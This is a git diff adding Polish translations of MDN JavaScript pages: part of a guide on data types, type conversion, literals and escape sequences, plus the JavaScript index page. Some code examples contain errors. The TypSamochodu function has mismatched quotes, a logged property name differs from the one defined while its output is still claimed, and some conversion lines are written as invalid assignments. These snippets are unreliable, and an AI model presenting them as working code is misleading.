wyrażenie zostanie wykonywane bez problemów.</p> + +<pre><code>const MY_OBJECT = {"key": "value"}; +MY_OBJECT.key = "otherValue";</code> +</pre> + +<h2 id="Struktury_i_typy_danych">Struktury i typy danych</h2> + +<h3 id="Typy_danych">Typy danych</h3> + +<p>Najnowszy standard ECMAScript definiuje siedem typów danych:</p> + +<ul> + <li>Sześć typów danych rodzaju {{Glossary("Primitive", "primitives")}}: + <ul> + <li>{{Glossary("Boolean")}}. <font face="Consolas, Liberation Mono, Courier, monospace">true</font> oraz <code>false</code>.</li> + <li>{{Glossary("null")}}. Specjalne słowo kluczowe oznaczające wartość zerową. Ponieważ w języku JavaScript rozróżniana jest wielkość liter, <code>null</code> nie jest tym samym co <code>Null</code>, <code>NULL</code> lub jakikolwiek inny wariant.</li> + <li>{{Glossary("undefined")}}. Najwyższa właściwość, której wartość jest nieokreślona.</li> + <li>{{Glossary("Number")}}. <code>42</code> lub <code>3.14159</code>.</li> + <li>{{Glossary("String")}}. "Uszanowanko"</li> + <li>{{Glossary("Symbol")}} (nowość w ECMAScript 6). Typ danych, gdzie przykłady są niepowtarzalne i niezmienne.</li> + </ul> + </li> + <li>oraz typ złożony + <ul> + <li>{{Glossary("Object")}} (do którego można również zaliczyć podtypy functions i array)</li> + </ul> + </li> +</ul> + +<p>Mimo, że typów danych w javascript jest stosunkowo niewiele, pozwalają one na tworzenie użytecznych funkcji.</p> + +<h3 id="Konwersja_typów_danych">Konwersja typów danych</h3> + +<p>JavaScript jest językiem dynamicznie typowanym. Oznacza to, że nie musimy deklarować typu zmiennej, ponieważ jest on automatycznie konwertowany do porządanych wartości w czasie wykonywania się skryptu. Przykładowo możemy zdefniniować zmienną w podany sposób:</p> + +<pre class="brush: js">var answer = 42; +</pre> + +<p>A później przypisać do tej samej zmiennej kawałek typu string: </p> + +<pre class="brush: js">answer = "Dzięki za wszystko..."; +</pre> + +<p>To przypisanie nie wywołuje błędu, gdyż typ danych został ustalony dynamicznie. </p> + +<p>W wyrażeniach, w których tekst mieszany jest z liczbami za pomocą operatora "+" JavaScript konwertuje wartości liczbowe do ciągu znaków. Ilustruje to poniższy przykład:</p> + +<pre class="brush: js">x = "Odpowiedź to " + 42 // "Odpowiedź to 42" +y = 42 + " jest odpowiedzią" // "42 jest odpowiedzią" +</pre> + +<p>W przypadku użycia innych operatorów JavaScript nie używa powyższej metody, ale konwertuje je automatycznie próbując sparować dwie zmienne. </p> + +<pre class="brush: js">"37" - 7 // 30 +"37" + 7 // "377" +</pre> + +<h3 id="Konwersja_do_typu_number">Konwersja do typu number</h3> + +<p>W przypadku kiedy w pamięci programu przechowujemy liczbę pod postacią łancucha znaków możemy posłużyć się poniższymi metodami konwersji:</p> + +<ul> + <li id="parseInt()_and_parseFloat()">{{jsxref("parseInt", "parseInt()")}}</li> + <li>{{jsxref("parseFloat", "parseFloat()")}}</li> +</ul> + +<p><code>parseInt</code> zwróci nam liczbę całkowitą, dobrą praktyką w przypadku zamiany z użyciem tej funkcji jest specyzowanie podstawy, która informuje o tym jaki system liczbowy został przez nas przyjęty.</p> + +<p>Alternatywną metodą konwersji jest użycie operatora "+", który działa zarówno z typem string jak i boolean.</p> + +<pre class="brush: js">"1.1" + "1.1" = "1.11.1" +(+"1.1") + (+"1.1") = 2.2 +// Notka: Cudzyslowy uzyte sa dla zwiekszenia czytelnosci, nie sa one wymagane +</pre> + +<h3 id="Literały">Literały</h3> + +<p>Literałów używa się w celu przedstawiania wartości w języku JavaScript. Są one ustalonymi wartościami (a nie zmiennymi), które <em>dosłownie</em> podajesz w swoim skrypcie. Ten fragment opisuje następujące typy literałów:</p> + +<ul> + <li>{{anch("Literały tablicowe")}}</li> + <li>{{anch("Literały boolowskie")}}</li> + <li>{{anch("Literały zmiennoprzecinkowe")}}</li> + <li>{{anch("Literały całkowite")}}</li> + <li>{{anch("Literały obiektowe")}}</li> + <li>{{anch("Literały znakowe")}}</li> +</ul> + +<h3 id="Literały_tablicowe">Literały tablicowe</h3> + +<p>Literał tablicowy jest listą składającą się z zera lub większej liczby wyrażeń, gdzie każde z nich reprezentuje element tablicy i zamknięty jest w nawiasach kwadratowych. Tablica tworzona za pomocą literału tablicowego zostaje zainicjalizowana podanymi wartościami, które stają się jej elementami, a długość tablicy ustalona zostaje według liczby podanych argumentów.</p> + +<p>Poniższy przykład tworzy tablicę długości trzy, o nazwie <code>kawy</code>, w której umieszczone zostają trzy elementy:</p> + +<pre><code>kawy = ["Arabica", "Columbiana", "Zbożowa"]</code> +</pre> + +<p><strong>Uwaga</strong> Literał tablicowy jest typem inicjalizatora obiektu. Zobacz <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/U%c5%bcywanie_inicjacji_obiektu">Używanie inicjalizatorów obiektu</a>.</p> + +<p>Jeśli tablica została utworzona przy pomocy literału w skrypcie najwyższego poziomu, JavaScript interpretuje tablicę za każdym razem, gdy przelicza wyrażenie zawierające literał tablicowy. Dodatkowo taki literał, kiedy zostaje użyty w funkcji tworzony jest przy każdym jej wywołaniu.</p> + +<p>Literały tablicowe są także obiektami typu <code>Array</code>. Zobacz <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Array">obiekt <code>Array</code></a>, aby uzyskać więcej informacji o obiektach <code>Array</code>.</p> + +<h4 id="Dodatkowe_przecinki_w_literalach_tablicowych">Dodatkowe przecinki w literalach tablicowych</h4> + +<p>W chwili inicjalizacji nie musisz deklarować wszystkich elementów tablicy. Jeżeli umieścisz następujące po sobie dwa przecinki, w miejscu pustego miejsca wstawiona będzie wartość <code>undefined</code>. W poniższym przykładzie tworzymy tablice o nazwie <code>ryby</code>:</p> + +<pre><code>ryby = ["Piła", , "Młot"]</code> +</pre> + +<p>Tablica ta posiada dwa elementy z wartościami i jeden pusty (wywołanie <code>ryby[0]</code> zwróci nam "Piła", wartość <code>ryby[1]</code> jest niezdefiniowana, a <code>ryby[2]</code> zwróći "Młot"):</p> + +<p>W przypadku kiedy pozostawiamy przecinek na końcu listy, jest on ignorowany. (<strong>Uwaga: </strong>przecinki pozostawione na końcu listy mogą powodować błędy w starszych przeglądarkach i zalecane jest ich usuwanie). W poniższym przypadku długośc tablicy to trzy ponieważ nie istnieje element <code>mojaLista[3]</code>. Wszystkie inne przecinki w liście wskazują nowy element.</p> + +<pre class="brush: js">var mojaLista = ['dom', , 'szkola', ]; +</pre> + +<p>W poniższym przykładzie długość tablicy wynosi cztery, a elementy niezefiniowane występują pod indeksami 0 i 2.</p> + +<pre class="brush: js">var mojaLista = [ , 'dom', , 'szkola']; +</pre> + +<p>W poniższym przykładzie tablica jest dlugości cztery, brakuje w niej zdefiniowanych elementów <code>mojaLista[1]</code> oraz <code>mojaLista[3]</code>. Zignorowany zostaje jedynie ostatni przecinek.</p> + +<pre class="brush: js">var mojaLista = ['dom', , 'szkola', , ]; +</pre> + +<p>Zrozumienie zachowania dodatkowych przecinków jest bardzo ważne w procesie nauki języka JavaScript, jednocześnie zalecanym podejściem jest jawne deklarowanie brakujących elementów jako <code>undefined</code>, co pomaga zwiększyć czytelność kodu, ułatwia jego utrzymanie oraz wprowadzanie zmian w przyszłości.</p> + +<h3 id="Literały_boolowskie">Literały boolowskie</h3> + +<p>Typ Boolowski posiada dwie wartości literałowe: <code>true</code> oraz <code>false</code>. </p> + +<p>Jednakże nie należy mylić tego z wartościami <code>true</code> oraz <code>false</code>, które są wartościami obiektu, ponieważ jest on jedynie reprezentacją prymitywnego typu danych. Więcej na ten temat możemy znaleźć w dokumentacji typu {{jsxref("Boolean")}}. </p> + +<h3 id="Literały_całkowite">Literały całkowite</h3> + +<p>Literały całkowite mogą być wyrażane w systemie decymalnym (baza 10), heksadecymalnym (baza 16), oktalnym (baza 8) oraz binarnym (baza 2).</p> + +<ul> + <li>Literały dziesiętne zawierają sekwencje cyfr pozbawioną wiodącego zera. </li> + <li>Wiodące zero w literale całkowitym świadczy o tym że jest on reprezentowany w systemie oktalnym, w którym dopuszczane są cyfry z zakresu 0-7.</li> + <li>Kiedy łańcuch cyfr zaczyna się od 0x (lub 0X) oznacza to że przyjmujemy reprezentację heksadecymalną, gdzie dopuszczalne jest użycie wszystkich cyfr oraz liter z przedziału a-f lub A-F.</li> +</ul> + +<p>Posłużymy się kilkoma przykładami literałów całkowitych:</p> + +<pre class="eval">0, 117 and -345 (dziesietne, baza 10) +015, 0001 and -077 (oktalne, baza 8) +0x1123, 0x00111 and -0xF1A7 (heksadecymalne, "hex" or baza 16) +</pre> + +<p>By zasięgnąc informacji przejdź do działu <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Numeric_literals">Numeric literals in the Lexical grammar reference</a>.</p> + +<h3 id="Literały_zmiennoprzecinkowe">Literały zmiennoprzecinkowe</h3> + +<p>Literały zmiennoprzecinkowe mogą zawierać poniższe elementy:</p> + +<ul> + <li>Liczbę dziesiętną z określonym znakiem "+" i "-" ,</li> + <li>Część dziesiętną,</li> + <li>Wykładnik potęgi.</li> +</ul> + +<p>Wykładnik potęgi oznaczami małą lub wielką literą "e", a następnie liczbą całkowitą która także może zawierać znak "+" lub "-". Literał zmiennoprzecinkowy musi zawierać conajmniej jedną cyfre oraz przecinek wymiennie z literą "e" (lub "E"). </p> + +<p>Przykładowymi literałamy zmiennoprzecinkowymi są 3.1415, -3.1E12, .1e12, oraz 2E-12.</p> + +<p>Ogólna składnia wyrażenia przedstawiona jest na poniższym przykładzie: :</p> + +<pre class="eval">[(+|-)][digits][.digits][(E|e)[(+|-)]digits] +</pre> + +<p>Na przykład:</p> + +<pre class="eval">3.14 +2345.789 +.3333333333333333333 +-.283185307179586 +</pre> + +<h3 id="Literały_obiektowe">Literały obiektowe</h3> + +<p>Literałem obiektowym nazywamy listę złożoną z zera lub większej ilości par indeks - wartość, zamkniętych w nawiasy klamrowe (<code>{}</code>). Należy pamiętać by nie używać literałów obiektowych na początku wyrażeń, gdyż może to spowodować błąd programu lub zachowanie którego nie możemy przewidzieć. Jest to wynikiem zachowania intepretera, który odczyta otwierający nawias klamrowy jako początek bloku. </p> + +<p>W poniższym przykładzie ilustrujemy literał obiektowy tworząc go i przypisując do zmiennej <code>samochod</code>, następnie definiujemy element <code>mojSamochod</code>, którego wartośc ustalamy na <code>"Saturn"</code>, do drugiego elementu przypisujemy wynik wywołania funkcji TypSamochodu("Honda"), a trzeci element <code>specjalizacja</code> reprezentuje wcześniej zainicjalizowaną zmienną <code>Sprzedaz</code>.</p> + +<pre class="brush: js">var Sprzedaz = "Toyota"; + +function TypSamochodu(nazwa) { + if (nazwa == "Honda") { + return nazwa; + } else { + return "Niestety nie sprzedajemy samochodow marki" + " + nazwa + "."; + } +} + +var samochod = { mojSamochod: "Saturn", znajdzSamochod: TypSamochodu("Honda"), specializacja: Sprzedaz }; + +console.log(samochod.mojSamochod); // Saturn +console.log(samochod.znajdzSamochod); // Honda +console.log(samochod.specjalizacja); // Toyota +</pre> + +<p>Dodatkowo możemy użyć literału numerycznego lub znakowego jako własności obiektu, a także zagnieżdzać je jeden w drugim. Poniższy przykład ilustruje użycie tych metod.</p> + +<pre class="brush: js">var samochod = { wieleSamochodow: {a: "Saab", "b": "Jeep"}, 7: "Mazda" }; + +console.log(samochod.wieleSamochodow.b); // Jeep +console.log(samochod[7]); // Mazda +</pre> + +<p>Własności obiektu mogą być reprezentowane przez łańcuch znaków, także pusty. Jeżeli jego nazwa nie byłaby prawidłowym <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Variables">identifikatorem</a> JavaScript musi być ujęta w cudzysłowach.</p> + +<p>Nazwy własności które nie są prawidłowe nie mogą być dostępne za pomocą operatora kropki (.), natomiast można je wywołać oraz zmieniać dzięki wykorzystaniu notacji tablicowej ("[]").</p> + +<pre class="brush: js">var niestandardoweNazwyWlasnosci = { + "": "Pusty lancuch", + "!": "Bang!" +} +console.log(niestandardoweNazwyWlasnosci.""); // SyntaxError: Unexpected string +console.log(niestandardoweNazwyWlasnosci[""]); // Pusty lancuch +console.log(niestandardoweNazwyWlasnosci.!); // SyntaxError: Unexpected token ! +console.log(niestandardoweNazwyWlasnosci["!"]); // Bang!</pre> + +<p>Warto zapamiętać:</p> + +<pre class="brush: js">var foo = {a: "alfa", 2: "dwa"}; +console.log(foo.a); // alfa +console.log(foo[2]); // dwa +//console.log(foo.2); // Error: missing ) after argument list +//console.log(foo[a]); // Error: a is not defined +console.log(foo["a"]); // alfa +console.log(foo["2"]); // dwa +</pre> + +<h3 id="Literały_RegExp">Literały RegExp</h3> + +<p>Literały regex są szablonem zamkniętym pomiędzy ukośnikami. Poniższy przykład obrazuje regex.</p> + +<pre>var re = /ab+c/</pre> + +<h3 id="Literały_łańcuchowe">Literały łańcuchowe</h3> + +<p>Literałem łancuchowym nazywamy zero lub więcej pojedyńczych znaków ujętych w podwójny (") lub pojedyńczy (') cudzysłów. Należy pamiętać by otwarcie i zamnięcie łańcucha zostało wyrażone za pomocą tego samego wariantu. Przykłady literałów łańcuchowych:</p> + +<ul> + <li><code>"foo"</code></li> + <li><code>'bar'</code></li> + <li><code>"1234"</code></li> + <li><code>"jedna linia \n nastepna linia"</code></li> + <li><code>"Kot Jana"</code></li> +</ul> + +<p>Na literale łancuchowym możemy wywołać wszystkie metody jakich moglibyśmy użyć na obiekcie tego typu, ponieważ JavaScript automatycznie konwertuje literał do tymczasowego obiektu, na którym zostaje wywołana metoda a następnie jest on niszczony. Przykładem wykorzystania tej możliwości jest wywołanie <code>String.length</code> :</p> + +<pre class="brush: js">console.log("John's cat".length) +// Wypisze ilość symboli użytych w łancuchu łącznie z białymi znakami +// W tym przypadku zwróconą wartością jest 10. +</pre> + +<p>Używanie literałów jest korzystniejsze dla wydajności naszych programów, dlatego jeżeli zaawansowane metody obiektu typu String nie są nam potrzebne powinniśmy pozostać przy ich wykorzystaniu. Więcej informacji na ten temat dostępne jest w dokumentacji obiektu {{jsxref("String")}}</p> + +<h4 id="Używanie_specjalnych_znaków_w_łańcuchach">Używanie specjalnych znaków w łańcuchach</h4> + +<p>W dodatku to podstawowych znaków w łancuchach możemy umieszczać zdefiniowane znaki specjalne, co ilustruje poniższy przykład.</p> + +<pre class="brush: js">"jedna linia \n akolejna linia" +</pre> + +<p>Poniższa tabela pokazuje zestaw znaków które możemy wykorzystyć.</p> + +<table class="standard-table"> + <caption>Tabela 2.1 Specjalne znaki w języku JavaScript</caption> + <thead> + <tr> + <th scope="col">Znak</th> + <th scope="col">Znaczenie</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>\0</code></td> + <td>Null Byte</td> + </tr> + <tr> + <td><code>\b</code></td> + <td>Backspace</td> + </tr> + <tr> + <td><code>\f</code></td> + <td>Form feed</td> + </tr> + <tr> + <td><code>\n</code></td> + <td>Nowa linia</td> + </tr> + <tr> + <td><code>\r</code></td> + <td>Powrót wózka</td> + </tr> + <tr> + <td><code>\t</code></td> + <td>Tabulatura</td> + </tr> + <tr> + <td><code>\v</code></td> + <td>Wertykalna tabulatura</td> + </tr> + <tr> + <td><code>\'</code></td> + <td>Apostrof lub pojedyńczy cudzysłów</td> + </tr> + <tr> + <td><code>\"</code></td> + <td>Podwójny cudzysłów</td> + </tr> + <tr> + <td><code>\\</code></td> + <td>Backslash</td> + </tr> + <tr> + <td><code>\<em>XXX</em></code></td> + <td>Znak zakodowany w formacie Latin-1 składający się z trzech znaków w systemie oktalnym, z przedzialu od 0 do 377. Przykładowo, sekwencja \251 reprezentuje symbol praw autorskich.</td> + </tr> + <tr> + </tr> + <tr> + <td><code>\x<em>XX</em></code></td> + <td>Znak zakodowany w formacie Latin-1 składający się z dwóch znaków w systemie heksadecymalnym, z przedzialu od 00 do FF. Przykładowo, sekwencja \xA9 reprezentuje symbol praw autorskich</td> + </tr> + <tr> + </tr> + <tr> + <td><code>\u<em>XXXX</em></code></td> + <td>Znak w formacie Unicode wyznaczony przez cztery liczby w formacie heksadecymalnym. Przykładowo \u00A9 w tym formacie reprezentuje symbol praw autorskich, więcej informacji na ten temat znajdziesz w {{anch("Unicode escape sequences")}}.</td> + </tr> + </tbody> +</table> + +<h3 id="Unikanie_znaków">Unikanie znaków</h3> + +<p>Dla znaków, które nie zostały wylistowane w Tabeli 2.1 poprzedzające je ukośnik jest ignorowany, jednakże jest to zachowanie przestrarzałe i należy go unikać. </p> + +<p>By zachować znaki specjalne w łańcuchu należy poprzedzić je ukośnikiem, ta funkcjonalność znana jest jako unikanie znaków. Przykładowo:</p> + +<pre class="brush: js">var cytat = "On przeczytał \"Kremacje Sama McGee\" autorstwa R.W. Service."; +console.log(cytat); +</pre> + +<p>Rezultatem uruchomienia powyższego kodu jest: </p> + +<pre class="eval">On przeczytał "Kremacje Sama McGee" autorstwa R.W. Service. +</pre> + +<p>By zawrzeć w naszym programie ukośnik należy poprzedzić go drugim ukośnikiem, który spowoduje uniknięcie następującego go znaku. Przykładowo jeżeli chcemy przypisać do zmiennej ścieżkę <code>c:\temp</code> musimy posłużyć się poniższym zapisem: </p> + +<pre class="brush: js">var sciezka = "c:\\temp"; +</pre> + +<p>Możemy w ten sposób także opuszczać znak końca linii, który zostanie usunięty z wartości zwróconej ze zmiennej .</p> + +<pre class="brush: js">var str = "ten lancuch \ +jest rozbity \ +na wiele \ +linii." +console.log(str); // ten lancuch jest rozbity na wiele linii. +</pre> + +<p>Pomimo tego że natywnie JavaScript nie oferuje składni "heredoc" możemy zasymulować ją poprzed dodanie znaku końca linii i opuszczenie automatycznie dodawanego znaku: </p> + +<pre class="brush: js">var poem = +"Na górze róże,\n\ +na dole fiołki.\n\ +Ale z was piękne,\n\ +są aniołki." +</pre> + +<h2 id="Więcej_informacji">Więcej informacji</h2> + +<p>Ten rozdział skupia się na podstawowych własnościach składni umożliwiającej deklaracje i posługiwanie się typami. By dowiedzieć się więcej na temat konstrukcji dozwolonych w języku JavaScript odwiedź poniższe rozdziały w tym przewodniku: </p> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling">Control flow and error handling</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">Loops and iteration</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions">Functions</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">Expressions and operators</a></li> +</ul> + +<p>W następnym rozdziale skupimy się nad kontrolą logiki programów i obsługą błędów.{{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</p> diff --git a/files/pl/web/javascript/index.html b/files/pl/web/javascript/index.html new file mode 100644 index 0000000000..ff1b6c50e6 --- /dev/null +++ b/files/pl/web/javascript/index.html @@ -0,0 +1,131 @@ +--- +title: JavaScript +slug: Web/JavaScript +tags: + - JavaScript + - Nauka +translation_of: Web/JavaScript +--- +<div>{{JsSidebar}}</div> + +<p class="summary"><strong>JavaScript</strong> (<strong>JS</strong>) to skryptowy (interpretowany lub kompilowany metodą <a href="https://pl.wikipedia.org/wiki/JIT_(informatyka)">JIT</a>) język programowania, w którym funkcje są "obywatelami pierwszej kategorii" - obiektami, które można przechowywać w zmiennych jako referencje i przekazywać jak każde inne obiekty. Chociaż JavaScript jest najbardziej znany jako język skryptowy dla stron internetowych, używa go również <a class="external" href="https://en.wikipedia.org/wiki/JavaScript#Uses_outside_Web_pages">wiele środowisk poza przeglądarką</a>, takich jak <a class="external" href="/en-US/docs/Glossary/Node.js">Node.js</a>, <a href="https://couchdb.apache.org/">Apache CouchDB</a> czy <a href="http://www.adobe.com/devnet/acrobat/javascript.html">Adobe Acrobat</a>. JavaScript jest językiem opartym na prototypach, wielu paradygmatach, dynamicznej składni, zorientowanym obiektowo, o <a href="https://pl.wikipedia.org/wiki/Programowanie_imperatywne">stylu imperatywnym</a> i <a href="https://pl.wikipedia.org/wiki/Programowanie_deklaratywne">deklaratywnym</a> (np. <a href="https://pl.wikipedia.org/wiki/Programowanie_funkcyjne">programowanie funkcyjne</a>). </p> + +<p>Ta sekcja naszego serwisu jest poświęcona samemu językowi JavaScript, a nie zagadnieniom związanym ze stronami internetowymi lub innymi środowiskami hosta. Informacje dotyczące {{Glossary("interfejsów API","Interfejsów API")}} specyficznych dla stron internetowych, prosimy szukać w źródłach: <a href="/pl/docs/Web/API">Internetowe interfesy API</a> i <a href="/pl/docs/Glossary/DOM">DOM</a>.</p> + +<p>Standardem dla JavaScript jest <a href="/pl/docs/Web/JavaScript/Language_Resources">ECMAScript</a>. Od roku 2012, wszystkie <a href="https://kangax.github.io/compat-table/es5/">nowoczesne przegladarki</a> całkowicie obsługują ECMAScript 5.1. Starsze przegladarki obsługują co najmniej ECMAScript 3. 17 czerwca 2015, <a href="https://www.ecma-international.org">ECMA International</a> opublikował szóstą główną wersję ECMAScript, która oficjalnie nazywa się ECMAScript 2015, ale początkowo była nazywana też ECMAScript 6 lub ES6. Od tego czasu standardy ECMAScript są wydawane w cyklach rocznych. Niniejszy dokument odnosi sie do szkicu najnowszej wersji, którą obecnie jest <a href="https://tc39.github.io/ecma262/">ECMAScript 2018</a>.</p> + +<p>Nie należy mylić JavaScript z <a href="https://pl.wikipedia.org/wiki/Java">językiem programowania Java</a>. Zarówno "Java" jak i "JavaScript" są znakami towarowymi lub zastrzeżonymi znakami towarowymi Oracle w U.S.A. i innych krajach. Jednak obydwa te języki programowania mają bardzo różną składnię, semantykę i zastosowanie.</p> + +<div class="column-container"> +<div class="column-half"> +<h2 id="Przewodniki">Przewodniki</h2> + +<p>Naucz się programować w JavaScript, studiując nasze przewodniki i samouczki.</p> + +<h3 id="Dla_zupełnie_początkujących">Dla zupełnie początkujących</h3> + +<p>Jeśli chcesz nauczyć się JavaScript, ale nie masz jeszcze doświadczenia w JavaScript lub programowaniu, przejdź do naszych <a href="/pl/docs/Learn/JavaScript">tematów w strefie nauki JavaScript</a>. Dostępne są tu następujące moduły:</p> + +<dl> + <dt><a href="/pl/docs/Learn/JavaScript/First_steps">Pierwsze kroki w JavaScript</a></dt> + <dd>Znajdziesz tu odpowiedź na kilka podstawowych pytań, takich jak: "Co to jest JavaScript?", "Jak wygląda?" czy "Co można z nim zrobić?", oraz omówienie kluczowych elementów JavaScript, takich jak zmienne, łańcuchy, liczby i tablice.</dd> +</dl> + +<p><strong><a href="/pl/docs/Learn/JavaScript/Building_blocks">Klocki JavaScript</a></strong><br> + Kontynuujemy tu opis podstawowych elementów JavaScript, zwracając uwagę na często stosowane typy bloków kodu, takie jak wyrażenia warunkowe, pętle, funkcje i zdarzenia.</p> + +<dl> + <dt><a href="/pl/docs/Learn/JavaScript/Objects">Wprowadzenie do obiektów JavaScript</a></dt> + <dd>W procesie nauki języka JavaScript ważne jest zrozumienie jego obiektowo zorientowanej natury. Ułatwi Ci to dalsze zgłębianie tajników tego języka i tworzenie bardziej efektywnego kodu w przyszłości. Ten moduł ma Ci w tym pomóc.</dd> +</dl> + +<p><a href="https://pl.khanacademy.org/computing/computer-programming/programming#intro-to-programming">Polecamy także kurs z khan academy</a> </p> + +<h3 id="Przewodnik_JavaScript">Przewodnik JavaScript</h3> + +<dl> + <dt><a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Guide">Przewodnik JavaScript</a></dt> + <dd>Znacznie bardziej szczegółowy poradnik JavaScript, przeznaczony dla osób z wcześniejszym doświadczeniem programistycznym w innych jezykach.</dd> +</dl> + +<h3 id="Dla_średnozaawansowanych">Dla średnozaawansowanych</h3> + +<dl> + <dt><a href="/pl/docs/Learn/JavaScript/Client-side_web_APIs">Interfejsy API po stronie klienta</a></dt> + <dd>Jeśli chcesz pisać kod JavaScript dla stron internetowych lub aplikacji, działający po stronie klienta nie zajdziesz daleko, zanim nie zaczniesz używać odpowiednich interfejsów API — interfejsów do manipulowania róznymi funkcjami zarówno przeglądarki jak i systemu operacyjnego, w którym owa przeglądarka działa, a nawet manipulowania danymi pochodzącymi z innych witryn lub serwisów internetowych. W tym module dowiesz się, jakie są interfejsy API działające po stronie klienta i jak korzystać z najbardziej popularnych z nich. </dd> +</dl> + +<dl> + <dt><a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/A_re-introduction_to_JavaScript">Ponowne wprowadzenie do JavaScript</a></dt> + <dd>Przegląd zagadnień związanych z JavaScript, przeznaczony dla tych, co już "wiedzą wszystko".</dd> +</dl> + +<dl> + <dt> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures">Struktura danych JavaScript</a></dt> + <dd>Przegląd dostępnych w JavaScript struktur danych.</dd> + <dt><a href="/pl/docs/Web/JavaScript/Equality_comparisons_and_sameness">Porównanie a identyczność</a></dt> + <dd>JavaScript zapewnia trzy różne operacje porównywania wartości: ścisłą równość przy użyciu operatoa <code>===</code>, luźną równość przy uzyciu operatoa <code>== i metodę </code>{jsxref("Global_Objects/Object/is", "Object.is()")}}.</dd> + <dt><a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Domkniecia">Domknięcia</a></dt> + <dd> + <p>Domknięcie jest kombinacją funkcji i środowiska leksykalnego, w którym ta funkcja została zadeklarowana.</p> + </dd> +</dl> + +<h3 id="Dla_zaawansowanych">Dla zaawansowanych</h3> + +<dl> + <dt><a href="/pl/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">Dziedziczenie i łańcuch prototypowania</a></dt> + <dd>Wyjaśnienie powszechnie nierozumianego i niedocenianego dziedziczenia prototypowego.</dd> + <dt><a href="/pl/docs/Web/JavaScript/Reference/Strict_mode">Tryb ścisły</a></dt> + <dd>Tryb ścisły powoduje, że nie jest możliwe użycie jakichkolwiek zmiennych przed ich inicjowaniem. Jest to ścisły wariant ECMAScript 5, zwiekszający wydajność i łatwość debugowania.</dd> + <dt><a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Typed_arrays">Tablice typowane JavaScript</a></dt> + <dd>Tablice typowane JavaScript dostarczają mechanizm dostępu do surowych danych binarnych.</dd> + <dt><a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Memory_Management">Zarządzanie pamięcią</a></dt> + <dd>Cykl życia pamięci i odśmiecanie kolekcji w JavaScript.</dd> + <dt><a href="/pl/docs/Web/JavaScript/EventLoop">Model współbieżności i pętla zdarzeń</a></dt> + <dd>JavaScript posiada model współbieżny oparty na "pętli zdarzeń".</dd> + <dt><a href="/pl/docs/Web/JavaScript/Introduction_to_using_XPath_in_JavaScript">Wprowadzenie do stosowania XPath w JavaScript</a></dt> + <dd>W tym dokumencie opisano interfejs przeznaczony do używania w JavaScript biblioteki <a href="/en-US/docs/XPath" title="en/XPath">XPath</a>, w rozszerzeniach i witrynach internetowych.</dd> +</dl> +</div> + +<div class="column-half"> +<h2 id="Informatory">Informatory</h2> + +<p>Przejrzyj kompletną dokumentację <a href="/en-US/docs/Web/JavaScript/Reference">informacyjną JavaScript </a>.</p> + +<dl> + <dt><a href="/pl/docs/Web/JavaScript/Reference/Global_Objects">Obiekty standardowe</a></dt> + <dd>Poznaj standardowe obiekty wbudowane {{jsxref("Array")}}, {{jsxref("Boolean")}}, {{jsxref("Date")}}, {{jsxref("Error")}}, {{jsxref("Function")}}, {{jsxref("JSON")}}, {{jsxref("Math")}}, {{jsxref("Number")}}, {{jsxref("Object")}}, {{jsxref("RegExp")}}, {{jsxref("String")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("WeakMap")}}, {{jsxref("WeakSet")}} i inne</dd> + <dt><a href="/en-US/docs/Web/JavaScript/Reference/Operators">Wyrażenia i operatory</a></dt> + <dd>Dowiedz się więcej o zachowywaniu się operatorów JavaScript {{jsxref("Operators/instanceof", "instanceof")}}, {{jsxref("Operators/typeof", "typeof")}}, {{jsxref("Operators/new", "new")}}, {{jsxref("Operators/this", "this")}}, <a href="/pl/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">pierwszeństwo opertaorów</a> itd.</dd> + <dt><a href="/pl/docs/Web/JavaScript/Reference/Statements">Instrukcje i deklaracje</a></dt> + <dd>Zapoznaj się jak działają {{jsxref("Statements/do...while", "do-while")}}, {{jsxref("Statements/for...in", "for-in")}}, {{jsxref("Statements/for...of", "for-of")}}, {{jsxref("Statements/try...catch", "try-catch")}}, {{jsxref("Statements/let", "let")}}, {{jsxref("Statements/var", "var")}}, {{jsxref("Statements/const", "const")}}, {{jsxref("Statements/if...else", "if-else")}}, {{jsxref("Statements/switch", "switch")}} i inne instrukcje i słowa kluczowe JavaScript.</dd> + <dt><a href="/pl/docs/Web/JavaScript/Reference/Functions">Funkcje</a></dt> + <dd>Dowiedz się jak pracować z funkcjami JavaScript przy tworzeniu swoich aplikacji.</dd> +</dl> + +<h2 id="Narzędzia_i_zasoby">Narzędzia i zasoby</h2> + +<p>Przydatne narzędzia do pisania i debugowania kodu <strong>JavaScript</strong>.</p> + +<dl> + <dt><a href="/pl/docs/Tools">Narzędzia programistyczne Firefox</a></dt> + <dd><a href="/pl/docs/Tools/Scratchpad">Scratchpad</a>, <a href="/pl/docs/Tools/Web_Console">Web Console</a>, <a href="/pl/docs/Tools/Profiler">JavaScript Profiler</a>, <a href="/pl/docs/Tools/Debugger">Debugger</a> itd.</dd> + <dt><a href="/pl/docs/Web/JavaScript/Shells">Powłoki JavaScript</a></dt> + <dd>Powłoka JavaScript (konsola linii poleceń) pozwala szybko przetestować fragmenty kodu JavaScript.</dd> + <dt><a href="https://togetherjs.com/">TogetherJS</a></dt> + <dd>Ułatwia współpracę. 